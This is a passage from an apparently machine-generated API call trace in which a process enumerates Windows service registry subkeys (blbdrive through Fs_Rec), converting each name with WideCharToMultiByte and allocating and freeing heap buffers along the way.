BaseAddress=0x21f2eb0) returned 1 [0253.912] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0253.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0253.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.912] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0253.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0253.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.913] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0253.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0253.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.913] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0253.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0253.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.913] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.913] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0253.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0253.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.914] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0253.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0253.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.914] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0253.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0253.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.914] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0253.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0253.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.914] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0253.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.914] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0253.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.915] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0253.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0253.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.915] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0253.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0253.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.915] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0253.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0253.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.916] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0253.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1df0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0253.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.916] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0253.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0253.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.916] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0253.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1df0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0253.916] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0253.916] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0253.916] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0253.917] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0253.917] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0253.917] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0253.917] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0253.917] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0253.917] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0253.917] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0253.917] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0253.917] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0253.917] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0253.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0253.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0253.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0253.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0253.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0253.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0253.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0253.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0253.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0253.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0253.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0253.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0253.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0253.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0253.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0253.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0253.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0253.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0253.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0253.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0253.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0253.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0253.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0253.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0253.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0253.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0253.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0253.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0253.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0253.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0253.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0253.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0253.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0253.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0253.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0253.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0253.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0253.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0253.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0253.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0253.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0253.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0253.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0253.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | 